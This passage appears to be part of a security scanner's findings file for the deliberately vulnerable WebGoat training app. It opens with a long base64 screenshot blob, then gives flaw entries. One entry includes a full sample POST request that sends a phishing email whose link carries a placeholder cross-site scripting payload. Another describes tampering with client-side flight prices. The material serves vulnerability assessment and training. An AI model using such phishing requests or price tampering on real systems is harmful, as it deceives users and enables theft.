bJ8zNincsnLiaz9GV5enlTilskL5YuyVe1hFRPPn+gsWXJQ2Wb5Fu1FldtRu4q9lVPZXOzJhQnKGCYUCCC8CrD26prdkOuDoHKAWgdWdDBk51aiIrNGj09eIc+IplG+Rb73CK9euzwR1TtfJaYqDlHeqXVUu/K7J6/UnMqmavuRfJTIULarM0SNz7S3MWv3UU9OK+FViUFv30outsJUcdurJjHvvgQQXvvyTc/uFTG18VS7V0ys9aynOOtJNHsAjhZekUA9ojBkWVxReHlsMw8FKnfbYtJbiNb8lUjKrKE2p7UfKsXX25vR3svureq+R3j9fuNuxTDK0Z54qfzMxi/bT+Uy7XMRQHhNEg9VvHoP5Ej8VDe16u/5MFoUqZD1HJRV36L+VxReEdMe8TWSp4q3JbJGCi9v/aqPkfipzqX6V/Z9ldVe+6u1o91HPWfglr24JV4Ir8yufW4fhNcksT9SeGUPsOXgyfY/UniNvv1QhUy1Z4uXmqfavvWA94poVLgzbVU/VP82F5XfmXiofK22Z3zo3UtqbtXurZu1Z/TDk2Vva8ta8Efr9wjBTH5U1lT8q+09cZmklGFGggDCKwHpiC7RIR/dOFhPZRlRooTe1sMsa0P2AFQMVGGInl5H2aAO18w6EXevEG0pEFkuGbs8MaQKaLZd7UNrnihvqsJKiT0V/4otai6179X+Vr5U8qInr718UjH2xJnyR/HozR2Vu9bezJyt0bjobM3yo9+5BBBe5/JndQiUCCixUJpsos539esoxHfh14rTWUXGWbzPWveoPH7KOgivp0QaPy9LoHLbdyUn7+rXUTGA31Gk/7jOkQKIOJ8X571WRnjtRZZ5IQABCEAAAhCAQEMA4UVKQAACEIAABCAAgYMIILwOAs0yEIAABCAAAQhAAOFFDkAAAhCAAAQgAIGDCCC8DgLNMhCAAAQgAAEIQADhRQ5AAAIQgAAEIACBgwggvA4CzTIQgAAEIAABCEAA4UUOQAACEIAABCAAgYMIILwOAs0yEIAABCAAAQhAAOFFDkAAAhCAAAQgAIGDCCC8DgLNMhCAAAQgAAEIQADhRQ5AAAIQgAAEIACBgwggvA4CzTIQgAAEIAABCEAA4UUOQAACEIAABCAAgYMIILwOAu0t8+7du7fX18x/ZrdvZnbYBgEIQAACEFgTOKziLwJj/XclFDMIlD18mMEvFYejhZe33lb+yk/aIQABCEAAAnsTOFx4LQ5VBUe1/x7gWhuqNln9q3Ps4ZeacwbhFYkxZT/tEIAABCAAgVkITCW82huNVqS1t2VKCK3brX9Xb9/Uei97e33wbKkKM0/crVla/25t/+Ja9Ne3Qz1bPJ+jOb02a6616LJywLO1fX0Lg4q90eaO4rxew8t9y9dZDhPsgAAEIAABTWAa4aVETea2yJujKtg8bMrGdlymv+qTFV5Rv1a4ZAVIJNC2tlms1JyWH55vi4hRvka3edHcylYrh9q1LEHpicXWHwSYPtzoAQEIQGBGAocLL3Wzo26MooKjREx7i6D+nxVylk2Wnz3iUSVNRpgtBd77eynqEXtPECgxoYSEx8kaN0J4RQwsDl6O7CG8IjEaCS9lo8oh2iEAAQhA4DgChwuvdXGrPLX3iBZPlGQFmlUI1Q1JdIvR40M2FTI3Xkp4eWv1iqvR4/YWXpG9kUiPxKUSnp6As4SWl3sZ8Z3NI/pBAAIQgMC+BE4RXpb48kRJ9DSvBNQdhFe1qEY+Z0VAW/RHCyglKtR6rYD0xIsSUtV2a53KHMovS+irmEUPAvseHcwOAQhAAAI9BE4TXpH4UoLJulXy3rKyCpMSbNHNjyp0azuiG661eKjeknUFuvlZYREXSyBYfFtRnPG3FRLevFaMMn4rOyMhs85JL0d62Hg+K1siezIs6AMBCEAAAvMROEx4zec6Fu1BQAnTLWu2onbLXKPG7ulva+ORa43iwzwQgAAEIPAlAYQXGbGZQHTLtHnyySfYWww9me3kocc8CEAAAl0EEF5d2BgEAQhAAAIQgAAE6gQuJby8z37V3d53xBXsjG5qMrc4mT6jKfes2TNmtN3MBwEIQAACEFgIHCa81IfOMyHp/VB8Zu6RfTLCy+Ix+m2l6DNRMwoS7wP/ldiM9mtE3lbspy8EIAABCNybwOHC6zfF9+uvoangzQiaynx79a3aWe2ftdv6Drw1/+w8R/WbTXh5Im60uDuKL+tAAAIQgMD5BE4TXi/XLcGhbmnWRU/dgG2Z35vbE0lbbkYi4VXh0aaTEl7eDZs1zuLRiugsGy/tlfBSdlmsrHxZ25lh0PZRdljitrVjzcCzYb1HlB/RUaJ8rOb6+ccWFkAAAhC4LoGphFdVSO3V3yq0WwVfpjBawqmyblV4tcVfCYZM/0UseDdrlrgaOa8Sm95ant2WYFIiSnGMGERz9zBVPKL2lsl1jzkshwAEIDAPgSmFl3fLM0poZef3bnR67VA3QlXhpdLI89MqqF7Bj2zOCAFV2COxqESD5X9lTKbvCOG1zNH+7eVX+3pFUFf6WgKwGi+Vg7RDAAIQgMCXBKYUXl6QlOBZBEV7Y6UKmWr3xIc3TvVXAmvkvBHLdZu6abHYI7x+ebtccYyEV0boROwtEe3Z0/ZFeFEOIAABCBxP4DThZYkT77WKEFG3PKpQesWoMu4o4aXWsXzpEUvWmEioZds80bDllk3FqUeUrO1RQml0u2JvMczyR3gdf+CyIgQgAIHDhZd3G9WKq4wwiwq0Jzqqwixj11L8ormjVIsEVK+9o25CvHhli7vFJhI/6/4tM0vUqDyp2qlss+IY5bQSYhGfiH11TY+T8icS7xyfEIAABCBQJ3CY8Kqbxog7ErhaIe8V03vG7kiGR661JzPmhgAEIDALAYTXLJG4sR3qlvPGru/i2t5iiHjtEjYmhQAEIPCZAMKLRIAABCAAAQhAAAIHEUB4DQAdfUYrmn7vm4t27ejzTgMwnD7F3jxHzR/NM2qN3rw7Yv21bXust8ecpyc3BkAAArchcJjwaj8rc+Th2CuMslHumf9I/y0/MutHfqnxFXGhcmOWt76Uz5V88fqOWiNrSyTOvbzx8iKKk2qr2Gvly9qmPRl6fqgcbsVmz5mRZaRY9+zr6h5U+z8boy2+WLlt+V6JXbRve+Ye6V82P+h3PoHDhdfi8p4Hz9FYe3zJHjx7+aLW99ozB7A62Nu51SG99w1JlrFiNmKeUWtkbakIryhuvW2v9bf4bI3dMl/lpnC9Ts+aPWNUXHvjoARAdg+q86Hic68vmQfNrbGLeGTnHumfygva5yIwlfBqnzyiJxYrab1N3woB9f+lGKjDyLM3Eh5RoVHzrefN2uYdEBWxkznI1oLa83FZMzpwlBDI2h3lklo/yiN14HqxV7ndPpBY8yi7lW1tjDJrVoRINtesGFZ8UyJgS+wr/mYLrDdndIa1Pkb7PWtzhnG0v7z8yZ4Pau5Ku/Jly1zVEh3Zkj2v2jNT+Ve1kf5zEZhGeLWFRv3fOpjaQjLL/5WYsIRKdKhXNqU3jzoQ1EGvimflMFKiRNliFYTq+pEoqc6/5RBVsV3aK4UlsketlxUN3l5TuZ3hnhUWmbl6/VV+qBzOipOeXMvGKON7Na+yay/8or3srd3WgjbX1FkU1YqMXapkq7PG81mNa+1WdtB+HQKHC68oCdvDqxUNamN6h58ScV5773wq/JmDwhNMqgBEB0k0Z7TJq/ZuER5bxvYwU8XImtPjEeVL9hDN2lMtkB4btV5VMETip6foHr2XKiIvioGKj7ePLUajYpSZZ6tPXvwz51Yl1hlfKrGs7E+rXlTGR3sk06Y40T4/gcOF11oYqCeRbHu7EVrsVrtXJD37IlvU+pY96rUeEaEOt72FV8t0Wc96PXvAVw7YHmZq/nZOL9ZZf6wYVUTvmmmlsIwSXhlBUfVR9a/4WdkD1XVVrmSLr1Vco7kr60Y+Zebx4puN+92Fl5WLGa57x3x+qYGFX5wPR+GwnhKsouYdXpG48YTVOtmtzbEWBErkRbYq35TI2lossoJjT+GV8dE7lEcVnSyH3uJQmb/StyK8smIhy7S3aKh4Vwt4xQ4lcLK+q31X8bHH/myOVOaOBFJmHmt8VXR5OarWr7RX+qo4q7lUjezNt95xyh7a5ydwyo2XJ4jWQsg7AJRY8kRYNJ/3FOOttWxkz17LBnWIW3P2CJXsPOowzXKuFtjoUPa4RXGIhHq1QLd5qQ5kqz3jgyqOyl8VO8sPVeTVmirn23Yr3yu5UvFR7a0oTirGnh/qfPKO/sqZkt3/bZ5H52jPvm7nq+RvdY+M4l2NTyb/o3Kejeso/+aXFlgY5gt4ziGgCotqP8dqVp2BwN1ywyuSZ7C+G9szGLImBCAQEzjsxotA/JGAenKEGQTUbc7VCSG6rh5B7IcABKoEEF5VYvSHAAQgAAEIQAACnQQQXp3gGAYBCEAAAhCAAASqBA4VXt4Hj6tGj+i/9W2+Mz4L0rNmz5gRfJmjjwDx6uPGKAhAAAJXIXCY8DqjoKjv7pktSCM+7zKac+U7mmbjOaM9Fs/1A8no+K0Z9HxHW8tw63d/qZj0fnfYa16PXdVm9VCWjdEWX7LcR+zP3rwY6Z/KC9ohcCcCtxdebeFZ/p89PI8M9mzCKypkR3K561oj4p1l0661/n/PXugZo2yt2Njavxav3p6PxNnS5s2jxlpCKXv2KJYVLorxFjuzXCN7q/bRHwJ3JHCI8Gqfytbixzrolo0bHYLeE2HlcIie9Np5Wlu8g98rppmnblWIrQNtbZfFWdmZYdD2UXZY4jYq9BEbq83LJ2+DKh+t2EZjqoUysiu62VAFTNlR2QvVw62SA5nct9ZXOaNEhJqzGpeIkYpFxZctc42Io7V/FeuKf1Ub6Q+BuxE4RHhZT4tRUdkquLyDI3s4RP2UqGh9VcUzOtAUI6uw9oyJfLJYbOUYFZYqeyu3KoJDxcezNcpRVTijwrYlfhVh0HKuiqPeGPayUXFSeZBpV3GJGFXzZNRc63mybKv7w8r1vfL0bgUWfyBgPgAehUUdnJmC2x4Y6qCJDqXsweEV2B7xkTn8e+fdKjY9wThCeC1ztH+vbbYKUYa9YpqNc4afuYHevXM/W6T2lpW/FXtV/mcLbCT+PR8sO70YRnZ4TJVNGXbVdZXw6p3P21vRehURnbVra3x6z6ZKnqo9QzsE7kBg2huvLFyvOO9RkL2DZ2Sx7D3cMsKhR/zuLbyUTUscs1wqBTtTvL2iEeVdJXe32FspaBnOFSGQjUdl3WjPZuaJYpWNiWdDZv2sWBo5l8of5XfFlr1irmykHQJ3I3B54bUuFr2HiHoitQrSqEPIK/5KFHi+bhGBkbBc2hTj0e2KvVUoe2Oj5rJEoHUgZAWRirHKS8U6ugnJMvIOvOz4LTZm7Y8EYzYW0VrZvMjaq5hU2lVfVbB6z4veccoe2iHwBAKnCa91Edt6eGSKg3oyVKJjy0HzGrv+yhzy2aK8zNvOaQklxVm1R5wtOzIFq82DNg6Rf5U1vXk84eTFK3MoZIt9NsZWbCv+tA8n3roez+r4rCiz9qTaK5l88HKo4p9aR50n0fmWaYvYVNqy+RrtpdFtGZvoA4E7EzhMeN0ZYsW3bFGuzLln36gQ7rluNPeRDHvW6hkzguVZ646wnTkgAAEIPIUAwuuASG+5PTnAvMstsbfA2BKvvW3zgnXWupdLHgyGAAQgcDIBhNfJAWB5CEAAAhCAAASeQ+ARwiu6DcjcFGT6jE6ZnjV7xoy2m/kgAAEIQAACEPAJHCK82s8J7fG5IfWh3NmSIPPBamXzaKFlxUnZQDsEIAABCEAAAnkChwivtTnqO4vypn/ZsxUh0XdW9a4xctxswssTcaPF3UiGzAUBCEAAAhC4GoGphJe6taq8ZdgKL+8D05Zga8Vhdq5X8LO3eUp4KbusdZSdGQZtH2XHkvCe0M2Ob9mt5/Xstjab8tGKbWX+q21w7IUABCAAgbkITCO8vILYFmAPX+XGKysSlKhYxILVr23zREJmrOdbr8+e3RaX6OYwwzErlrM3btn5LB8jXpl4zbV1sQYCEIAABK5I4DLCS8GNbpqyAqUVf7MKry1iLfJphPBa5mj/VjdYGfZKHGXjnOGn8o12CEAAAhCAQA+BWwmvEbdhS3HP3OacdeOVEQ6V2x1LJEWvZcRbdXwrzDI+tvFGePUcAYyBAAQgAIEjCVxGeHk3Il6BXkOsFuRIUFXmUuLHEnmRqGnbRtnSiszotirL1bqdyvCoitmet0J7RN2Rm5K1IAABCEDgvgSmEV5rEWKJrCOE1/rtSk9gKPFQecszK7xaNq1tPbdLyg8v5T1GGaEVxThiX13Tyx/Lpyhe9932eAYBCEAAAmcROFx4neXoGeu24uYMGyprzihCjmR45FqVuNAXAhCAAATuQwDhNTiW0e3M4KUeMd3eYoh4PSKNcBICEIDANAQQXtOEAkMgAAEIQAACELg7AYTX3SOMfxCAAAQgAAEITEMA4VUMxd5vfSlzzl7/Zd8MNihOM7TDaYYoYAMEIACBuQgcJrzaD26r71I8C5P6gPlMxfQoW3q/AzIbQ8U8O8+631FsItuOtsFbz9p7PUwZAwEIQAAC2wkcLry2m7zvDEpkHF1MZyjsismWiFg8RzAeMccWv864GaywnIHPVr6MhwAEIHBFAtMIr/UNWHsbFt2IeE/z3nerqZs2JTKsdmtOy2bPpqVIK9vWxTx7S6Q4qDWVH16xV/NWhEmVW5ZNe0MWxX7dtiUHrDVV/rQHi8XDi9Myth1T8WE9h/Vvlb9Ze9VDhsdpvb7lr+frFQ9sbIYABK5P4HDh5RVFJaDaA3XU/6OiFh30VuhVcW6LblTEvNSK1rB8Gb2mJZgqfnv2ZPxVYq3CxsufDK+sv1kh1/oVjYti7I2z7O3xIcs306/XR4uVmst6OLDE2vWPczyAAASuQOBw4RUVWOuAbMXP1v+roHg2RCLJe6KPREZbnDxBWim0swivHl/WhTArCtoxmYKfEVxtrJd527+t9bO294qyis+evRWh5/lu2e/tA7WnKoJa2a4eDKz9354p6oygHQIQgMAWAgivhp4qEiMKa6Z4RALVE4GzCK9sQkY3EZHQ7WmrCv51jJTwysRKxXxEXnlizpq7ul6FQfYBKnowidqUwI5EbTuvl4PZHKYfBCAAgSqBxwkv9XQ7g/CKioEqOr0FK7umulHIFr1IPFZFgTVXtaB6eaH86b25OmOcdQOm4jmiPROfUTyy9lbzo3qw0h8CEICA+1B+FJqM4IluQJbx1gHdFurK/61bovVamcJr2ZYZZz19q4Kg/I/8yYoyKyfW8cv4puLt+e4J30gYZXOjJ9eVr0uht+yL8qgd58VV8VD5oPJpLYp6xWfki4pNZU2PcZSvlTzsyQ/GQAACEKgSOOzGq2oY/SHwJAJZgdTDRAnAnjm3jtnTX+vhY6u9jIcABCAwigDCaxRJ5oFAkYB3G1Sc5pLd9xZeT2Z7yYTAaAg8iADC60HBxlUIQAACEIAABM4lcBnhxWc1jk2UvW8kjvWG1SAAAQhAAAJzEDhUeG35rElGeGX6ZLH3zLXFv6xdR/WLhNfRfioRWPnQ9VH89lxH8dhzbeaGAAQgAIFtBA4TXluLY48Q2oKmZz3rO8y22HDmWCW81rbtLQTU/Ftz60zOPWsrHj1zMgYCEIAABI4hcKrwaov3uqC0xbS9ZbFEjleAow/aWrc33lpKjCnhlbXD4tKyWfp4r7/avfWWMYqxl4LKz2htZVePTWt/LC4j7VnPr/JNxXGxa23f+rXIl2OOB1aBAAQgAIHRBA4XXpEYyAivtvD1iLdojsr8bTAygiQjmLyCq8YqEaZ8a1n2Cq+Ig3db0zOm5ZERp62w8dbtsSd7ExXleeSTyovRhwPzQQACEIDAeAKHCa/1U70lvrybDk8sRLcN7RjrVmttj4VV3W5FY7yxVTuiedYCInvjExXuqmjM3t6puEaxygoNS3BZ4sbLu0wss2IpEpbV9VuRmOUx/phgRghAAAIQGEXgUOG1NloV5Gq7JaSUeIra1VivWHuByQgbJdjawtsKLu/Gpy3gljjI2GcV/sxcGWEb3RZFbZ5vEYs2D6ux9B4GoocEb81IqCG8Rh1zzAMBCEBgHgKHCS+rsEe3CHsJr8zNhSXivNcyRdwqoKrgtimihFGlPSOWKkKosnZWgGSFk8e2V4S2YtYSm5mY966fmXue4wNLIAABCECgSuAw4bUWLupmx3tLZv26Jx48gZddsy1863HeHKo4tzchnqiMbK8KsZZ3pqArvpGfWdut2Fp8LH+zYtWKU8+63pjq61HuVwRuNs+qhwD9IQABCEDgOAKHCq+93VLCaO/1mR8CIwlEomzkOswFAQhAAALHEbiF8IpuM45DyUoQGEcA0TWOJTNBAAIQmInALYTXTECxBQIQgAAEIAABCHgEEF7kBgQgAAEIQAACEDiIAMLrINAsAwEIQAACEIAABBBe5AAEIAABCEAAAhA4iADC6yDQLAMBCEAAAhCAAAQQXuQABCAAAQhAAAIQOIgAwusg0CwDAQhAAAIQgAAEEF7kAAQgAAEIQAACEDiIAMLrINAsAwEIQAACEIAABBBe5AAEIAABCEAAAhA4iADC6yDQLAMBCEAAAhCAAAQQXuQABCAAAQhAAAIQOIgAwusg0CwDAQhAAAIQgAAEEF7kAAQgAAEIQAACEDiIAMLrINCjl3n3blzoXnMt842ct/V5z7lH81XzrZmpvjO1r2Nwp3jsyXg2TiNiOJtPW+LX60vvuC22zjJ2lO+j5pmFy1F2jKvewuKlUK3/3svJpyXDFn/bsVvm2iues817ZWYjivZs8dhqz9VyvsfeK+Ws8u9KvmzNzb3GK8brddva3bbtZeOd5z1UeB11A1JJqjsEd4u/HGL1DLgyM4TXH+O9Zf/Us2f7iB57r5Szyr8r+bI92vvMoBhH4oozZHtMThVeL/OjIFobbFHfnuueOq/ctI3oG81htUWHydK29r19zWpbGHmbzGKVZe7FLdrQ7ZhRnL1DwuJm5Y1nhxenllvbL8smWnfZGx4ztfXV3O3eUw9Flbyw9qgXi0wOeHkarePlvhUrZYPK20z+WPvVYm75tM6Ftj0TF7XPrTmi87Wamxk+63hF8VC5YJ0/lb3g8Y9iYNmeja13xlj5m4n1el9buaJy3Tsf1Rm7hUHLtl0riok6B2dtv4zw6jkcosM3GxBrI2cETSVRrSJoHfbZOdvNF/nay7W1TzFpfexdtzJPZsN68Y3sU7aPYFNZQ+XyVnsU88w+s2IR7S0v1zN7pbJPrPmsopnxUXHqzanKuKzv3pwqJpk4evmWjWnGht65or2wdd0se3VWZvaryom9zo8ox9WaW/mo+KhzcKb2SwmvtVqvCKJKQiyJtV7LC5hX2Fs79ziI1JxLu0pWxcZj3s6fWS+yuTee6gBSmy2KYfagUEXMY6PYtutn8z/KYZU3GYExKu+9eSLhs1V4WXlW2SOZ/ZJhaBWwbD6ofWSdXVm7KyzWfka2e8yz/m7Nh8w6ym+Vd2rPRQw8/7wzVtmSyfGMv158o3MxOqNG5og612dvv5TwysLMHjLWfGqsN6a3oGUOabWRona1wSJ/M23R4RAdmBXOGTssjsp3S9j0xMOzb8+DM9oLWV4Rn0x8loPUY+Yd0FZebLEl2nuZgqfypDL/qL4RO2+NbNyjwl1hkYl7W7wzY6o2VPyORIOqL5V1Mnmn2Ox5fijGlb3bE9MMn4qNKnaztZ8qvNThXjnEsgeVdehUxnoBzNqqinRWQETrZTbCSIGRXS/LKBJsbfwqh6HafFn7VN5Gha2He2a+bA5n8qayXi8zFeOsP5V86C26WR+rtmTnzeZ4tp93BmYKnVcwM4W611+VK71+Z/dCz571WGZfV2dMxefMfo5in22r2JThoBio83zm9kOF1wvk+ssCE/VRY9vN326sZbwKSMbOJZm9OSNbvTZv3exh15OoaoyKR+bAzYhJdehnefYcptUYevHIFpY1D8uv6FDamsMVPlE+jmSWiX1ViHlcld3emZQpvluEV+U8UXmmzpfRwiuyPbtvLXEV5cU6jpUzrFd8tz5GZ0CbYyoe2fPdY6T8V+eNlw9ezqu9qPZYlo/aE6qOz9x+mPCaGcJdbVMF7a5+4xcEIFAnwHkRM4NPPacYYRNAeN00MzgkbhpY3ILADgQ4LzRUGGlG9MgRQHjlONELAhCAAAQgAAEIbCZwuvCqfObk5e2Wp44tY1vSlc/aLGNHr785+s0E1Vhsjcdo+5lvfgLVPVDtP4pA5nM3o9bqnedINqPXGj1fL0PGQeAMAlMJrwyAyobNfugws+66T68NlXFVm0b077GvMqbSd4Q/1Tlmt6/qz4z9q4yj/nvtb++BYlmv6sOoOOzpr3qI8nzvtSnDcHm4zT7kZjhn1s3MQx8IbCGA8OqgV9m8PbdIHSYNGVLxa1mwMqbSd4hDxUlmt6/ozpTdq4zPEF7qtqvqw6hA9Iqc7PqeX9EZ1muTYqhikPWp7afW7Z2XcRCoEDhUeK2fYKzCbW3i9mknu9GtpyX1BGXZZ21czw/ryUwdWpUx3lwVv7KFrF3LY7MlHstTtsXAOzCtfPDGRzZH82QKkHVD0MNoWStiUIlvlK/rtspezOzLNY8KW1UIPd/b13v3u3VYWja1ccrmoRffKKbqfFG2rM/W7N5Q9rS508bb2g/R/q6s5xU0b79566p9VCmc9IXAFgKHCS+vQK9f9/5tbXJvo1sHhCXy2vGefZmDORpb9S+ya+tcitnW+TNFtBIfSyhkx3u2ZGMVHfae6PJsU2tu5ZZd19sH1uu9uaD2kWq3hGPWPzW3ao/EQ5R3kc2W8FH5MMLfyhpRXli5uRZ+3tms9kiPfdm9r+KxpWAyFgIjCJwmvCqHvbXhVLFSG98SONknInWAZ4pW5uDxDriKaFS2Zg75iq1RUipboph6BcCLmVXwFm7RGLWp2ph4RcvLARU7a/0Mt7VPa5sibl6ByuZdxhdle5a3Oi+q+91bNxIaSqB4MYiEQOUcUiwrOZfx02JqCa1oT2T3mrK93c8ZFtl4qBykHQKjCVxSeHlFtXLAZYpG9nDOCBO1nnXwZAtgdn3vIFVFTc2/RzxULJUvnvioijslTs4WXqoArcWm5cuWvFM5nRFD6kBTubcer1hEsVcio3edjMCJRMeodTMCXPFrcz06n9T+rMRVnU8qD7N8VS7SDoFRBE4TXtZTknrqURtMFevKZq8U6Oy8Gf8yhVxxqKzjHezZOSqHmjrYK8wrRb3Hl2iDbS2mFWbKT8XUy6eePKvaovqr4qzGK9+3tmfFWHb/Z5hX5trStypmqmfr6NiNOvOU+B5VWJkHAmENORLPK+mXr+zGj/pnD25L5HkHQ7uexSd6eqweht56laKR6Wuxjw7TXrGiDjYrnr3Mlxha4yN/M21V4RXZ0rb1CK+MzVm2ai5PjK/3rMfc2y/empl8iezxfI6YZ84edbZErDPxXfOw9m90Lmw9z1T8e/ajF8co7upMihj17rf1uCNrH2tB4ItzDBzPIqAK3bNo9Hl7NMOj1+ujMt+oCjerb2X8Fu+PWqdi44w2VeynLwRmJnDYW40zQ7i7berJ8u7+j/TvjIJ0xpojmZ0118zc2JNnZQXrQuB8Agiv82OABRCAAAQgAAEIPIQAwushgcZNCEAAAhCAAATOJ3CK8Jr5LQAVkjNsj9Y8wx7FiHYIKALZvM32U+tV2r0Px59tS8WH2fuewXJ2Jtj3HAIIr2Kszzgwrii8+AyLn1ijP8itvvurmOKfu++d58v8re1t3vTa0Y6r/n9h5omwhZGX5712t7Fq17/LvhrFpye3GQOBswkcLryuvuHOsP+Kwmud2GcwO3tjRevvIbxG8947ZlkGvXZUhZa3TuX2KxJpvfmohF/vvGeP643r2XazPgRGEDhdeEVPjEtbW1Ssp2Krb/tUGhWn7AFXeQJVT8OtzRkWmYKS5eZxtZ66M7Z5CZllq+IV8fIKucdivdb6diPLzuOR3ZSqSFd4b8kJb09EhTHyPdtWEV7ZOa04WpyX19q/1S2Xillm/S3nVG+ce/aVYqHmVPsryq/sHqIfBK5K4FDhpQ4Oa7MvGzjTVukb2ZJty/az7FIHT1as9PRr7bGEVoZ3Jp5Rgc2Mj2zNjt+Tvzf3WiyoYhvxjx4WMjFSc2fER2SDEmgVGzNirHe9dZxGCC9LWFQ49fixJd+tAuXZ4J0plbNG2arOv6sWVOyGQIbA6cKrethWNrQqftmikzmIMgXYK0Lr19c2Z4pWa1vrc2aOdRFpRYISl956FXHX+m+JhWqeVHzawl/5GW3CHkHmcbDyRvlliZFMjiqBUc3haM3Mfs+st4fwivLWslvtFeVHNF7le5Q3njiPBKo6F7w5VX5lihZ9IHB1AocJL/WEV3maUgd/dnPvLby85KiKiOwhpxh73LLzW+JSCYsKg6oAG2l371wWE0vwV+bfyiG7P0YLr4qPmT1gidrec2JP4WWdN0owZmMU+ZudozefEF5XL+/YPyuBKYSXKujZw7YyTyTOsgUk20/ZNarAjLIny7tSXKwiURGK1eJWYbGFvzVWbfas6IjmHl2QW5u92FS4ZvNoxF7M7DEVZ5VjinnF32xftabHLhu/7Hi115WdarzaM7RD4E4EDhFe0SGw3A5YB7/Vpjaw1e6toQrbMs47VDK2ZHxon0jbMWs7tqxp+aPWXhh5Y9WcqqC3bD1e6nVPzKgYtoIw01/FQB0Qnq1WLDz7LCHrrRvlj7cH2jGZOFVyRTGoCAKVmxErZUckKDJct3KL1o/OzMy6lb2r9lcmHxUvtW9oh8BdCJwqvO4C8Qp+WAdnj92j5ulZW4m4EXM+cY6ZYvpE/vgMAQg8i8AhwutZSOf0dktxjZ6Mz/R2i09n2j3T2jCcKRrYAgEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrCVHGRwhAAAIQgAAEpiCA8JoiDBgBAQhAAAIQgMATCCC8nhBlfIQABCAAAQhAYAoCCK8pwoAREIAABCAAAQg8gQDC6wlRxkcIQAACEIAABKYggPCaIgwYAQEIQAACEIDAEwggvJ4QZXyEAAQgAAEIQGAKAgivKcKAERCAAAQgAAEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrglH+7rvvprL6X//611T2nGnMbLFZWBCjM7OCtSEAAQj8TmAq4fUqWstXG6S2oKn/v8Z7RdBbZ/26KqBtX9V/ZNJl18owGmGXKuoVrpE9Wb+tOdRYxUqNX9bM9IvyvCcemTWPilGP/Vl2o7ltsZWxEIAABHoJTCO8qoUv2z/bzxJqUUHLFLveoKhx2bWz/dR6qj1T1NdzHGVXZc1KnmwRh2odxbpHVL7G3C1GZ+RQT2wYAwEIQKAlMIXwim6mrOK59G//jvpmnqorRVGJsuXpPCr+6znUrVDUbt0EWP0t/zw7K7cLW4q6FcPIn5anZf8iolsGXt82N7L5VWWXEQsR92ycrWNuS4zWfKo+t7Hw9qjK//bBSO3VKNczcaBUQAACENiLwC2FV+ZQrgqjNgBeoYjW3qPNsssTma3Q80Sh4teuuaWot3HIMsr2ywjuqvCqrO0x90RUJNSz8eoVXkr0Zdev5FnUN7vnWlFWFWl7Ha7MCwEIQMAicFvhlXmCtg7oqPhkiuKIolwtHEeKwNFFXYm8jHBR4s0qzJYfy1re32uBNoL5XnHujVEkUlt/K+KqR7BF8bHs7N13lAUIQAACRxOYQnipJ9ZI8FhvG/QewpW3ILy+o9beu7D12rm1qFu3GNn4Zm9HMjnhbTQlBJWIU+N7uVfGjYiR8qMnZlWhWcmVCp/KPj/6QGY9CEDg/gSmEV7LodzeXlQO36gotkXbWqdyIEd917cDlv1Wuyp03g1Ly82ap73BWd8YZDgoLtW3GqOiHeWB55vnQ/u6yq3qA4AXxyj+2Xh54tGbW/nWE6Ms7yg3K/Fc97WO3so6Wdvvf8TjIQQgMBuBqYTXbHCwJ0dAFfXcLLqXEoB6huf22DNGV4vL1ex9btbiOQTuSQDhdc+4HurVnkVd3YIc6uiFF9szRlcQMuoW8sKhxXQIQOBiBN7971++fRv79de3r776+u1//ud/3v7f/9v49ZrD+XrNb3/96efXm68//fx/4+tPP7/2pz99ZX999fPrn7++fvv6mz//zOhnv77+5revr7/55u3P//uXFbuBfi/cuvx/cTEYvF7r4fDiY7D4PWfwe3OeXyreo88L5ht7/sITnuTA7Dnw/wG3qkLwIHFaXAAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
